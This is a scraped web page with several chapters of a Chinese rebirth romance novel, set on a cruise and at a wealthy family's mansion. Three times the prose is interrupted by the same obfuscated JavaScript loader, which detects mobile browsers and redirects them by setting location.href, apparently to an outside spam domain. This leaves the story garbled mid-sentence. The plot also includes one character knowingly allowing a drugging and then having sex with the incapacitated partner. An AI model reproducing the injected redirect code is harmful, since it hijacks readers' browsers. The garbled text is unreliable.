贺琨左眼皮微跳,胸腔泛起异样的震颤,连呼吸都变得有些滞涩,视线缓慢舔舐过软床上的人。 要不直接做了吧,本来就该是自己的,关于纪明冉和纪明冉的一切。 不行。 贺琨打住自己的想法,转身进入浴室。 纪明冉还不知道发生了什么,只见贺琨转身离开,背影有些莫名的仓惶。 随即,贺琨那从见面初始就已经沙哑得厉害的声音传来:“晚安,你先休息,我洗漱。” 纪明冉若有所思,收回视线,拿起手机给肃山发送了一条消息。 卫生间内,清晰的镜面将贺琨的面容映照的一览无余,因为始终处于低烧状态而微微泛肿的眼皮,还有偏白的脸上泛着病态的潮红,脾气都显得软和了些许。 他深吸一口气转身走进浴室,拖延着时间慢慢地洗澡,实在是不知道如何面对纪明冉了。 纪明冉应该喜欢成熟的男人,他刚才不应该那么浮躁的。 结果倒也如他所愿,等慢慢悠悠地洗澡结束后,贺琨披上和纪明冉同款的浴袍走回休息室,人已经睡着了。 他静站床边看了许久,直到身体微微酸软不适,才回到窗边的长榻上躺下。 估计烧得更厉害了,呼吸灼热得不行,可是药也没找到,但是找到了冉冉…… 伴随着海浪的轻拍,在漫无边际的游神中,贺琨缓缓闭上了眼睛。 半夜,纪明冉是被一些细碎念叨吵醒的,他警觉地睁开双眼,环顾四周,在看见贺琨躺在窗边的身影时,才放松下来,揉了揉眉心。 是长榻上的人在说梦话。 他意识到以后,起身披起外袍,宽肩撑起柔软的布料,脊背如松般笔直。 黑暗里,只见一道沉稳而凛冽的身影缓缓行至窗前,观察几秒后轻声道:“果然是发烧了,嗯......”长而轻的鼻音拖曳,带着漫不经心的语调,“真麻烦。” 贺琨的睫毛微颤,在眼下透出颤抖的阴影,薄唇在无意识中翕动,呢喃出破碎且不成语调的句子。 纪明冉拉开落地的玻璃门,海风将窗前的白纱卷起飞扬,银色暗绣在月光下流光溢彩,他拿出手机拨打出电话:“肃山,叫人上来,贺琨的房间。” “好的,纪先生。已经联系了轮船上的医生,按照你刚才短信上描述症状配好了药,5分钟内到。” —— 019房间的灯再次全部打开,屋内一片亮堂。 纪明冉坐沙发上简单地处理信件,贺琨已经被转移到了床上。 退热贴、体温计、酒精.......一样不落。 医生观察具体情况后便离开了,只留下个医护人员,低头忙碌的一阵后,面露难色地回头看向纪明冉:“纪先生,这位先生他实在是不配合。” 纪明冉从电脑上移开视线,看向贺琨,人是已经昏昏沉沉了,手臂死死贴合着,不肯测量体温,连药迹也泼洒了些许,在白色床单上格外显目。 “知道了,你先回去休息吧。” 医护人员如释重负,表情都松快了不少:“谢谢纪先生!这位先生已经服用了退烧的药剂了,接下来只需要监测体温,过半个小时后再服下第二幅药物即可。” 医护人员边说边将需要用到的物品一一摆放整齐,见纪明冉点头,便赶紧离开了。 门被关上,房间内又只留下两个人,纪明冉将眼镜取下,拿起体温计走至床前,先测体温:“放松,贺琨。” 贺琨不知道在什么梦里,听见熟悉的声音动作倒是放松了不少,嘴角微微上扬:“不,我不,要......” 纪明冉凑上前去,想仔细听清。 “要亲......亲。” 他听清后,皱起眉头,打算直起身子,准备采用暴力手段强行测量体温,却还是没快过贺琨这个色胆包天的病秧子。 灼热的呼吸喷洒在脸侧,很快被轻轻一触,淡淡的药味瞬息萦绕鼻尖。 纪明冉瞳孔微震,眉头锁得更加紧实,气氛陡然凝滞而苦涩,莫名得令人看不明白,但很快消失得一干二净,像什么也没发生过。 他变得淡漠,机械地按照医护人员交代的步骤一一完成,像台精密的机器。 贺琨这下像是认出了人,随便摆弄。 纪明冉给贺琨喂完药,指腹按压着纸巾,从昏睡的人唇间擦过,又折返,只有指腹,轻轻揉撵,直至变成樱桃糜烂后的熟红,才抬手放过。 太乖了,不是吗? 他盯着这张再熟悉不过的脸,他们本该在四年前便认识,如今不过只是点头之交的陌生人。 说出来如同天方夜谭,纪明冉在27岁那年被一辆黑色的车撞飞数米,他倒在血泊中,以为自己必死无疑,再睁开双眼却回到了16岁。 关于贺琨,他曾经爱之入骨的恋人,纪明冉一向不闻不问、敬而远之。 这几年他也做得很好,可亚弥尼克州高架上的那场意外,悄然中揭开了那层维系体面的薄纱。 历经发酵,理智终结于那抹意外之吻。 纪明冉压抑多年的欲念彻底被滋养膨胀,陡然曝露在明晃晃的灯下。 —— 翌日清晨,纪明冉和贺琨坐在房间中安静地吃着早餐。玻璃餐桌小巧而精美,桌面的花瓶里点缀着侍者才送来的花束,紫色的,很清雅,贺琨也叫不上来是什么名字。 纪明冉的餐盘中有酥脆培根,金黄煎蛋卧在上面,还搭配了焦香吐司,淋着琥珀色蜂蜜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993789|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而自己则只有一碗青菜白粥,甚至连肉沫都没有。 纪明冉仿佛看出来贺琨的想法:“你生病了,还是吃清淡些。” 自己今早醒来时就已经退烧了,喉咙也不再火辣辣的痛,贺琨表面肯定是点头认同:“是该吃清淡些,昨晚麻烦你照顾了。” 纪明冉抬了抬银丝眼镜正要说话,门口却传来急促的踢踹,看来是不速之客。 两人对视一眼,贺琨先起身走向门口,隐隐将纪明冉藏于身后。 “是纪焯,见吗?”贺琨从监控屏中看见那个人,手中并未携带什么利器,于是转头问纪明冉。 “那就见见吧。” 纪明冉话音刚落,贺琨便顺从地将门打开。 纪焯衣衫凌乱,浑身酒味,双眼充血,看起来像一夜未睡,这下一个猛劲冲过来。 贺琨一时不察,竟呆在原地。 纪明冉眼疾手快地将贺琨拉到身后,侧身错步,扣住纪焯的肩膀借力,随即抬脚直踹上纪焯的膝弯,随着闷哼一声,纪焯重重地跪倒在地上。 “纪焯,你心急了。” 纪焯愤恨地抬眸,眼中满是不甘心,而纪明冉却风轻云淡地站着,自上而下投以否定的目光和评价。 他强撑着站起身来,咬牙切齿地发问:“我在青平市的建设项目资金链断了,是你干的?” “那是你的项目不行,关我何事?”纪明冉笑笑,看起来很无辜。 而贺琨好似什么也听不见,只是沉默地站在一侧,暗中防备纪焯再次突然发疯出手。 纪焯仰头轻嗤,像是找不到什么说法,或许他心中认定了答案,也不需要纪明冉承认了,他视线逐渐聚焦,又回转到贺琨身上:“哟,你新养的好狗?贺二?床上卖了几次才让贺青峰帮你出手?” 纪焯是指昨晚的事,纪明冉不打算接话,但这却触怒了贺琨。 贺琨实在听不过耳,骨子里压制许久的疯劲一股脑冒出,单手如铁钳般扣住纪焯的脖颈,将其狠狠撞向墙砖上按住。 另一只手不知从哪拿出把泛着寒光的餐刀,压在纪焯的脸颊上,红痕立现。 “狗还先主人急眼了?有本事你了结了我。”纪焯还在作死挑衅,纪家这代小辈中,他是最沉不住气的。 纪明冉眸中划过厉色,但面上只是按住贺琨的手腕,微微摇头,然后才对纪焯道: “纪焯,到现在你还不明白吗?你活着,不是因为你重要,而是因为你还有用。” 纪焯闻言浑身一僵,像是被扎破的气球终于泄了气,尽管极力压制还是有滴泪珠滚落,成王败寇,死期将至。 “放他走吧,我们的早餐还没吃完呢。”纪明冉见状也无动于衷,只是轻轻拍了拍贺琨的肩头,转身回到了餐桌旁落座。 贺琨的心却因此跃动起来,听话地松开了纪焯,直至人消失在走廊尽头,才关上门回到房内。 纪明冉看在眼底,缓缓咀嚼口中的香甜酥脆的吐司:“贺琨,后天的晚宴,和我一起出席吧。” 这次纪明冉举办的游轮聚会共有五天,而后天那场晚宴是结束前的最后一场。 这一刻,周遭的喧嚣陡然沉寂。贺琨耳畔仿佛掠过徐徐海风,他听见浪花堆叠拍打,海鸟悠长啼鸣,落地窗外正正好的阳光终于也洒进他的世界。 贺琨连忙回答:“好。” 9. 第九章 叫我老公 汗水顺着棱角分明的锁骨滑落,伴随着粗重而富有节律的喘息,贺琨的视线看向前方,微微有些出神,直至环在左手腕上的手环开始震动,他低头看了一眼,是肃山。 于是他随即在跑步机前的电子触控屏上轻点几下,跑步机履带的转速随之逐渐减慢,贺琨拿起一旁的手机和毛巾,将电话接起。 “贺先生,西服已经送至您的房间。” 贺琨从出口处的吧台上拿起瓶矿泉水,拧开瓶盖喝了一口:“知道了,麻烦你替我谢谢纪先生。” 肃山平静无波的声音再次通过听筒传来:“好的,我会原话转达。” “嗯。” 贺琨挂断电话,拿起毛巾擦了擦汗水,不知道纪明冉是通过何种渠道将西装送至这茫茫海上的,贺琨想,有钱果然能使鬼推磨。 他最近两天都泡在健身区里,不知道现在加强锻炼频率,还能不能再挽救下他和冉冉的身高差,毕竟今晚就要一同出席了。 而他在前天被冉冉拽到身后时,才清晰认知到自己181的身高,好像确实不太够看?竟然都能被纪明冉整个藏在身后,这太可怕了。 那么等两人在一起了,他还怎么抱着老婆看电影。 贺琨最近的想法越来越放肆了,尤其是在纪明冉主动邀请他当宴会男伴后。 019房间内,试衣间的落地镜旁已经挂好了一套西装,玻璃柜台上还放着枚看着就价值昂贵的胸针。 珠宝主色调是黑红色,装在白色丝绒礼盒中,在冷色壁灯下折射出锐利的锋芒,只能说,并不低调。 不知道为什么纪明冉会选择这样的风格送给他。 贺琨刚从浴室出来,便换下浴袍,将这套暖调深棕的西服板板正正地穿在身上,超乎预料地合身,腰身线条流畅而贴合,修饰身形的作用发挥到了极致,像是专门为他裁制。 贺琨有个想法,但是他没敢多想。 很快时间就接近了傍晚,贺琨在房间里坐立不安,于是推开露台的玻璃门准备去吹吹风,却意外看见了纪明冉。 他站在露台上,好似永远都有接不完的电话,两指之间捏着只细烟,言语间轻抿一口,在黄橙橙的霞光下慢悠悠地呼出白雾。 贺琨还在游神,被观察的人便警觉地察觉到他的视线,凝眉回头,两人便这么对视上了。 先笑起来的人是纪明冉,他右手还举着电话,左手轻轻点了点领口的位置,初时贺琨还不明白,只是低头看去,原来是自己领结有些许歪。 他的脸一下烧红,比晚霞还要更显目,同手同脚地走回房间,甚至忘记给纪明冉打个招呼。 像一个求偶中途惨遭滑铁卢的小孔雀。 纪明冉盯着贺琨转身进入房间的背影,胸腔里像是被羽毛挠过,酸涩的情绪翻涌而上,捏住烟头的指尖微微颤动,直到火星涌至尽头,撩拨到指腹才回神。 他改变主意了,那就在这与世隔绝的无际海洋上放纵一次。 “肃江,算了,不要阻拦,帮他们把那迷药送进来。” —— 最后的晚宴氛围并不比开场宴会差,璀璨夺目的水晶灯下,众人推杯换盏。短暂几天的相处反倒打破了些什么隔阂,一切变得更加赤裸。 “喂,看见了吗?现在纪小爷身旁那位?”一位打扮艳丽的女人端着红酒杯,压着声量讨论。 “这是哪冒出来的,见都没见过,就只是有几分姿色吧,也是走了运道。”站在她身旁的黑色燕尾服男士轻蔑道。 结果下一秒就被插话进来的年轻人按住肩膀:“张总,小心说话啊,那位是可是贺二。” “贺二?!他不是在校念书,基本不参与这些活动的,你可别骗我。”黑色燕尾服男士不敢相信,只想把刚才大放厥词的自己打回重造。 “贺二少这几年沉寂了,前些年在都城浪的时候,你我怕是都还没踏进都城的门。” “不过是仗势欺人罢了,躺在贺家祖辈的心血上挥霍。”不知从哪又冒出个声音,酸的不得了。 “哼,那也得有势可依,人家拿下RSA摩托赛国际冠军的时候,不仅打破了赛时记录,也打破了年龄记录,这还不叫天赋?只是贺二少不想走这条路了。” 众人啧啧称奇,话题一转,又开始讨论。 而话题的中心人物,贺琨,站于纪明冉身侧,立于众人视线的焦点之下,时隔多年还略微有些不习惯,能让他坚持的理由,就是和纪明冉同框出镜。 而他在意的人正在和一位长辈交谈,贺琨看着眼熟,但一时也想不起来了,作为小辈,他礼貌地问好后便在两人旁边当起了花瓶,也不觉得无聊,相反还有些兴奋。 纪明冉一位接一位地应付,甚至都没有时间休息,唯一的好处,可能就是无人敢压他的酒,所以喝得并不多。 直至一位穿着华丽长裙的混血女性走来,鼻梁挺直而精巧,恰到好处地勾勒出脸部立体轮廓,眼眸如冰川般纯净的蓝,盛满热烈而迫切的爱。 这种眼神贺琨再熟悉不过,看着来人的作势,眉宇间染上淡淡的冷意,一整晚的好心情到此结束。 “达莉娅,晚上好。”纪明冉先打了招呼,整个过程挑不出什么错处。 这位名叫达莉娅开口了,中文说得意外地流畅,她回答着纪明冉的问安,眼神却看向贺琨:“明冉,晚好,不知这位是?” 达莉娅言语间突兀地插入两人中间,得意洋洋地挽住纪明冉的手臂,丝毫不觉得有何不妥。 贺琨皱眉,很快便看见纪明冉将达莉娅的手腕拉出,从路过的侍者手中托盘上取出一杯酒,自然而然递出:“贺琨,我盛请邀请来的男伴。” 说罢,再次转回贺琨身侧温和道;“贺琨,这是我继父的大女儿,我的姐姐达莉娅。” 达莉娅显然不满意这样的介绍,秀眉一皱:“我们又没有血缘关系!你不要总是说我是你的姐姐。” 意识到自己的失态,达莉娅赶紧压低自己的音量。 “达莉娅姐姐晚好,既然明冉唤您姐姐,我便也这般称呼您了。”贺琨轻飘飘一句,彻底踩中了达莉娅的雷点。 达莉雅冷哼一声,像是想说什么,马上又高傲地抚摸鬓边的碎发,手腕上的镯子轻敲发出脆响:“明冉,你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993790|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠我,怎么还都不为过。” 贺琨心中充满困惑,恨不得直接把自己的金库都掏空,尽早断了这挟恩图报的关系。 不知道是什么恩情,能让处于劣势的达莉娅再次昂起高傲的头颅,语气里尽是理所应当。 纪明冉也没有恼怒,他依旧淡漠而谦和有度:“我离开罗德山庄时,就已经偿清了,这是母亲的决定。” 达莉娅憋红了眼眶还想接着再次反驳,却被纪明冉轻轻一句话推了回去。 “达莉娅,这些陈年往事显然不是今天的主题,不是吗?” “那好,你陪我喝了这杯酒,往后我便不再提起这些事。” 贺琨旁听两人的交谈,一头雾水,但是他好像发现了这一世,纪明冉人生轨迹之所以发生变化的开端。 他暗忖措辞,准备替纪明冉拦下这杯莫名其妙的酒,却瞥见达莉娅盯着纪明冉手中的酒杯,神色怪异。 这边,纪明冉已经举起酒杯,正欲饮下,贺琨来不及说明,也无法证实自己的想法,遂直接夺过酒杯,仰头喝尽。 不知道是这酒有问题,还是自己喝得太猛,贺琨一时间有些晕,但好在表面上还是能稳住。 “我替冉冉喝,感谢您多年对冉冉的照顾。” 冉冉? 熟悉的称呼在两人耳畔响起,贺琨酒意上头并未察觉。 而纪明冉却蓦然看向贺琨,见对方面色如常,才缓缓收回视线。 此时,宴会厅边缘,一位男士醉醺醺离场,摸到间空房,直接开门栽了进去。 门很快被反锁,黑衣男士的神色立马严肃下来,经过仔细探查后,方才拿出怀中的通讯器:“先生,计划失败,掺了药的酒被贺家二少饮下了。” 通讯器那头失真的声音不紧不慢道:“本来想用温和些的方式,将他送回罗德山庄,奈何达莉娅小姐并不争气,落花有意,流水无情喽。” “如果他无法和达莉娅小姐成婚,那下一步我们应该做什么?” “达莉娅保证只要纪明冉与她发生关系,就一定能将纪明冉带回西海岸完婚,此生不再踏足此地。可惜纪明冉生性警觉,这么简单的小把戏不会上当的,只是‘饭前’娱乐的‘开胃小菜’罢了,先把纪焯安排了吧。” —— 达莉娅最后是被肃山请走的,纪明冉很快安排好宴会的相关事宜,便揽着意识迷离的贺琨先回了房间。 “喂,贺琨,还知道我是谁吗?” 贺琨坐在浴室的洗手台上,捧起纪明冉的脸:“知道,冉冉。” “喜欢我?” “喜欢。” 纪明冉又问:“那有多喜欢?” “好多好多......唔,应该是比海里的鱼还多的。” 纪明冉低头笑笑,没放回事,眸光中流露出些许讥讽,再抬头时眼神清明,贺琨的喜欢啊…… 不太值价。 不过纪家人找来的药确实得劲,给人都迷傻了,他把花洒打开,调好水温,将人拽进来洗澡。 不妨贺琨抓住纪明冉的手就往自己身上按:“难受,你叫老公。” 10. 第十章 纪家老宅 贺琨前言不搭后语,脑子都不转了,还一心想要别人叫他老公,惹得纪明冉再次发笑,不过这回倒是诚心诚意的。 水温终于调好,温热的水流从花洒淋下打湿他白色衬衫,纪明冉抱住贺琨耳语:“不好意思,恐怕不行。” 贺琨被突如其来的水流冰得一个激灵,眼神暂时恢复了清明,也不过只是瞬息。 水的温度其实不低,而是他的体温过高,睫毛还挂着水珠,贺琨眨眨眼。 “纪先生?” “嗯?贺琨你被下药了,我帮你解药好不好?” 贺琨清醒不过三秒,他只听见什么下药解药的。 冉冉红唇开开合合,舌尖在唇间若影若现,他一句也没听进去,眼中满是困惑。 不管是什么他都能答应,摘天上的星星都行。 “好。” …… 纪明冉停下时,贺琨已经睡着了,眼尾还泛着着红晕。 嗯,每一处都圆润得刚刚好,薄肌窄腰,宽肩圆臀。 上辈子自己能忍住,还是太疼他了,纪明冉在第二世觉得有点亏。 他看着茫茫海面上的月色,或许自己做了个错误的决定,但他不为已经做下的事回头。 纪明冉只知道: 如果有人要将爱意倾注在贺琨身上,那绝对会变成天大的笑话。 —— 晨光给海面镀上一层蜜糖色,出航五天的游轮终于缓驶回金湾港口。 "呜——"清亮的汽笛声悠悠响起,海鸥扑棱棱掠过船头。 贺琨猛地睁开眼睛,他好像梦见他被0了,而且尺寸不是很适配,过程中他都快哭出来了,真的。 “早安,贺琨。” 与纪明冉声音一同传来的是身体的酸软乏力,但本能快过脑子开口回应:“早安,纪先生。” “轮船已经进入港口了,你接下来是去兰临市吗?” 纪明冉坐起身来,软被顺着腰线滑落,雪白但充满力量感的上半身展露无遗。 肩线流畅,紧实的胸肌微微起伏,只是有好几抹碍眼的红痕泛着乌青。 这谁弄的? 罪魁祸首本人——贺琨皱起眉头,心里涌出对付此人的一千种阴暗惩罚。 纪明冉像是察觉他的视线,低头看着自己身上的印记,安慰贺琨道:“你昨晚很兴奋,确实下口重了些,不过我还好,你有什么不舒服吗?” 毕竟贺琨昨晚眼皮都哭得透红,可能不是本意,就当是生理性的泪水吧,但总归自己受这两口也是该的。 纪明冉问得莫名其妙,贺琨想自己能有什么事,他理所应当地回复。 “我当然没事,主要是辛苦你了。” 贺琨担心地坐起来要关心纪明冉,可酸麻顿时从身体上传来,与此同时,回忆如潮水般涌上脑海。 昨夜的氛围实在灼热迷乱。 记忆片段中全是自己是如何如何主动凑到纪明冉身边,拉着他的手,强迫他帮助自己。 但后面怎么不按剧情发展? 是,纪明冉确实长高了,身材也结实了,所以他的打开方式是不是哪里不对??? 贺琨懵了,不是好像,不是梦见,而是他真的变成老婆的老婆了。 “纪先生你,我,不是,”贺琨沉默,“算了,我会对你负责的,纪先生。” 纪明冉看着贺琨,先是呆若木鸡然后面色惊惧,最后羞赧而不知所措,脑子里的思路都不知道拐弯拐去哪里了,他故意道: “昨天,你表现不错。” 贺琨彻底宕机。 只见纪明冉眉眼半弯,笑容如同春日暖阳,贺琨也是个没出息的,胸腔一颤。 唔,其实好像也没什么? 下次肯定还有机会翻身成功,贺琨自信极了,陷入美好的想象中,甚至考虑到两人定居在哪座城市比较方便。 可紧接着,他却听见纪明冉说: “贺先生玩笑话,你情我愿,谈起负责未免太过较真,再说……” 贺琨先是愣住,呼吸停滞,将此话的意思理解后,他心情急转直下,脸色煞白,浑身血液凝固。 每个字如细密的针尖往心口上扎,身上的酸痛也变得不可忍受。 贺琨等着纪明冉的下文,怀揣着最后一丝希望。 “再说,若一时兴起也要谈负责,那你我岂不是结婚都各自结了好多次?” 纪明冉说罢笑起来,仿若刚才说的话是个调节气氛的,再好不过的玩笑话。 “是吗?可是——” 贺琨呼吸都带着灼痛,声音轻不可闻,他伸出手想要拉住即将转身离开的纪明冉。 他想要他,上一秒他以为就快得到了。 贺琨的指尖最后只来得及轻轻蹭过纪明冉的手臂,残留的温度将他灼烧。 他下意识地想开口道歉,为从前荒唐的自己,以此挽留,可现如今连立场都没有。 话语在喉咙处破碎,咽回去的苦涩在胸腔里肆意翻搅。 “什么没有?”纪明冉可能没听清,再次问道。 贺琨眼里重新点燃光芒,急着开口:“我没有和任何人在一起过,除了你。” “哦?是吗?” 纪明冉的手机铃声响了,显然没有仔细听贺琨在问什么,只是下意识的回应。 电话对面好像在讲什么事,语气急促。 纪明冉也严肃起来,没有再搭理贺琨,面部表情逐渐凝重:“好,我明白了,下午到首都。” 贺琨知道,结束了。 纪明冉回头道:“纪焯死了,首都机场出来30多公里的高架桥上,车祸身亡。” 机场、高架桥、车祸?? 这场刻意的死亡将贺琨拉回现实。 他不由想起当初,在亚弥尼可国际机附近,和纪明冉的遭遇实在是太相似,太刻意了,刻意到让人心里不适。 “你回兰临市去吧,把你牵扯进来很抱歉,我给你加派安保人员,自己近日注意安全。” 贺琨点点头,随后看向落地窗外,不再是一望无际的蓝色海洋,而是人来人往的港口,鼓起勇气。 “我可以去首都找你吗?冉冉。” 纪明冉没有回话,并且离开得匆忙,就连和贺琨道别时非常简洁,甚至略显无情。 房间只剩下贺琨一人,洁白的天花板上水晶灯在风中微晃。 纪明冉也许在很多个这样的清晨里,也是这样。 承受着他一时兴起、不告而别的离开。 ——

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993791|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纪家老宅立在首都的中心城区,占地面积足有古时候的王府一般大,是早些朝代被查封的官员府宅。 因为超了规制,迟迟未迎来新的主人,后来纪家祖上功绩显赫,御上便特赐纪氏。 第十七代掌权人接手时,社会正逢第五次工业革命,大量新兴科技落地转化,公民生活水平大幅度提升,很多东西在老宅实在不便引入。 那位掌权人一拍板,便带着纪家举家搬迁至都城西郊的现代化庄园中。 但今天纪明冉回的,就是纪家老宅。 纪焯也是父亲的儿子,行二,直系血脉身亡,牌位必须进祠堂。 但是人早上才走,现在停在太平间。 怎么接?何时接?如何进祠堂?都是要商量的。 倒也不算商量,毕竟能拍板的只有纪父,但总归人必须都到齐。 肃山为纪明冉拉开车门,便低头跟在纪明冉身后。 立在门口百年的石狮还是老样子裂眦睥睨,口中的石珠圆润得微泛冷光。 过了三重垂花门方见正殿,尽管做了很多现代化的改造,但纪宅的底蕴始终古朴而传统。 纪明冉跨入房内,抬眼便看见四哥纪清嵩坐在轮椅之上,周身墨香淡淡,看起来是温和至极。 大姐纪姝方坐在小窗前轻杵下巴,眼神游离,不知道在思索什么。 她才成年便嫁了人,只是男方家世并不显赫,算是半个倒插门。 纪明冉的父亲共有六个子女,纪明冉行六。 除了到场的两位,还有三姐纪禾和五哥纪柏达,只有三姐纪禾与四哥一母同胞。 “明冉,你来了?”纪清嵩扬起笑容,看起来很是亲和。 纪明冉走至桌前落座,桌上已经摆放好了简单的餐具:“嗯,四哥。” 纪姝还是自顾自地坐着,并没有因为纪明冉的到来而有所反应。 很快,一阵利落的高跟鞋声音响起,敲在陈旧的青砖之上。 来人应当是纪禾,在娱乐圈当演员,并未公开与纪家的关系。 性子张扬得如同她的外貌般夺目热烈,正如网上所说,是浓颜系的天花板。 “小明冉,姐姐可是听说了你的八卦~” 纪禾进入堂内,将墨镜顺势滑上发顶,露出光洁饱满的额头,眉眼弯弯似含笑意,透着几分灵动与飒爽。 “三姐说笑,总不能叫我单身终老吧。” “嗯嗯嗯,也是也是,我看那贺二年轻帅气,还是你有口福。” 纪明冉笑笑,不否定也不认可。 又等了一刻钟,纪父纪正源缓缓而至,脊背微弯却依旧挺直,银丝般的白发梳理得一丝不苟,皱纹纵横的面庞上,浑浊却锐利的目光扫过全场:“纪五呢?” 氛围陡然凝滞,无人答话。 纪禾环顾一圈主动道:“他最近不是接手了纪焯在青平市的建设项目嘛,应该挺忙的,很快就到了吧,我发个消息问问。” 纪禾的声音轻快活跃,好似只有她将这个家当作真的家,将纪父当成寻常人家的父亲。 纪正源冷哼一声,反常得没说什么,不然平时他已经拎起话头将纪柏达喷个狗血淋头了。 纪姝抬起头,看着这父女二人的互动,眼中划过讥讽。 11. 第十一章 他的姓氏 深褐色胡桃木钟身雕花繁复,玻璃门内铜质摆锤悠悠晃动,时间一分一秒地流动,六点整刚到,钟鸣深沉。 纪正源将报纸放下,对身旁静立许久的管家道:“开饭吧,不等了。” 话音刚落,一个穿着休闲男装的男人小跑进来,将外套随手丢到正欲出门的管家身上,站定后微微鞠躬示歉。 “爸爸,不好意思,威尔去琴雅湖写生落水了,我才从医院过来,路上有些堵。” 威尔是纪柏达的小儿子,今年六岁大。 纪禾无奈,冲着纪柏达直眨眼。 后者才像想起什么似地赶忙补充:“恰逢昨日青平市的孙先生过来出差,毕竟那边项目的开标日期快到了,还是稳妥些好。” 纪正源连正眼都没给,也没有任何回应,直到空气几乎凝结,他才回道:“威尔年纪小,经不起折腾,看紧些。” 纪柏达表情讪讪,连声应好,赶忙走到自己的位置旁坐下。 各式各样的菜色逐一呈上来,香气扑鼻,色泽诱人,等纪正源先尝了一口乌鸡羹,餐厅才响起声音。 纪明冉年纪最小,坐在靠门的位置,专心致志的品尝着饭菜,再认真不过。 饭中,先发话的人是纪正源。 “纪焯性子是急些,但也并非完全的无知无能,纪家走到今天并非单打独斗,而是同气连枝、相互扶持,那些小门小户的做派走不长久。” 纪正源点到为止,一番话敲打下来桌上之人心中皆是门清。 头发花白的老人终于在此刻流露出一丝哀痛,不过很快转瞬即逝。 就是拎得太清,知道情绪的无用,事实已然明了,无论何种皆是于事无补。 纪正源话毕停筷,起身离开。 饶是纪禾这个活跃气氛的能手也不知道如何开口,她和纪柏达两人面面相觑。 纪明冉却默不作声地看向纪姝,在父亲放下筷时,也很快停筷,低垂着头颅,长颈白而修长,没有任何配饰,只有耳垂上点缀着两颗珠圆玉润的美玉。 她向来都是安静至极,存在感很低,除非刻意观察。 纪姝像是察觉纪明冉的视线,抬眸回视。 纪明冉刻意没有回避,报以温和的笑,只见她轻蹙眉心,略微烦躁地移开视线,一副不想被关注的模样。 坐在轮椅上的纪清嵩端起茶盏浅啜一口,依旧是风轻云淡。 纪正源已经踏出门槛,又微微侧身看向屋内,面部的神情因为背光显得更加肃穆:“柏达,小焯的后事,你来办。” 纪柏达听见自己的名字被点到,下意识地朝门口看去。 听完吩咐后脸色变得不太好,但也未多说什么,再次点头回答:“好的,父亲。” 等纪正源走远之后,饭桌上的气氛才稍微好些,纪禾先开口问:“柏达,你最近不是挺忙的嘛,怎么又吩咐你来操办焯哥的后事。” 纪柏达扯开衬衫领口扇了扇,尽管房间内的温控系统已经打开,但他还是很热的样子:“哎,不知道喽,威尔那边也是让人放心不下。” 纪禾想了想又道:“小威尔不如跟我住几天,弟媳最近出国办展,还是得有亲人看护着好,反正我最近活动不多。” 纪柏达满脸不可置信,玩笑道:“那真是太好了,能和漂亮姨姨住,威尔准得开心。” 纪禾昂起头颅,双手交叠在胸前,笑得明媚可人:“当然,那也不看看我是谁。” 纪柏达做了个心服口服的表情。 纪姝整理裙摆缓缓起身,表情淡淡,眼神落在庭院中。 “弟弟妹妹们,慢慢吃,我先回去了,长仪最近闹腾得很,家明看不住。” “姐,周末有场新排的舞剧,我给您留了张票,我们一起去看好不好?” 纪禾语气自然而亲昵,投向纪姝的眼神充满期冀。 纪姝看了眼纪禾,像是习惯了:“那日有事便不去了,谢谢。” 可是纪禾连是哪天的日期都还没说。 她明艳的面上难得出现自嘲的苦涩,还想继续挽留,于是站起身来,准备跟上去。 此时纪清嵩拿起公筷子夹了一块鱼腹放到纪禾的餐盘中:“三姐,鱼腹,你最爱吃的。” 纪禾笑着点头表示感谢,再回望时纪姝已经走远了,只好再次坐回位置上。 四个人本来是血脉相连的手足,但到底是没什么共同话题。 尤其是在纪姝离场后,纪禾明显心不在焉,餐厅只有碗筷轻轻的碰撞声。 纪明冉很快也吃完,他拿起托盘手帕擦了擦嘴,站起身来:“各位,请慢用,二哥的事有什么能帮忙的,尽管吩咐。” 几人过了几句场面话,纪明冉便毫无留恋地转身。 离开老宅时外边已经天黑了,大门口两侧的灯下团着很多小飞虫,晚点恐怕是要下雨。 肃山拉开车门,却看见纪柏达从转角处的半月门中踏出来:“先生,纪五先生来了。” 像是在回应肃山的提醒,纪柏达的声音随即在后方响起:“明冉,等等我!” 纪柏达十分自来熟地将手搭上纪明冉的肩头,语气和善而接地气。 “明冉,今晚拍卖会,你我两人去逛上一圈,也好给你的新小伴选个礼物不是。” 好像大家都关注着纪明冉那点房内事,昨日他才和贺琨待了一晚,今日全首都就都知道了。 纪泊达见纪明冉没有回话,继续补充:“贺二的眼光可毒辣得很,打小挑的用的都是好的、定制的,明冉可不能把他当成寻常的伴儿啊。” 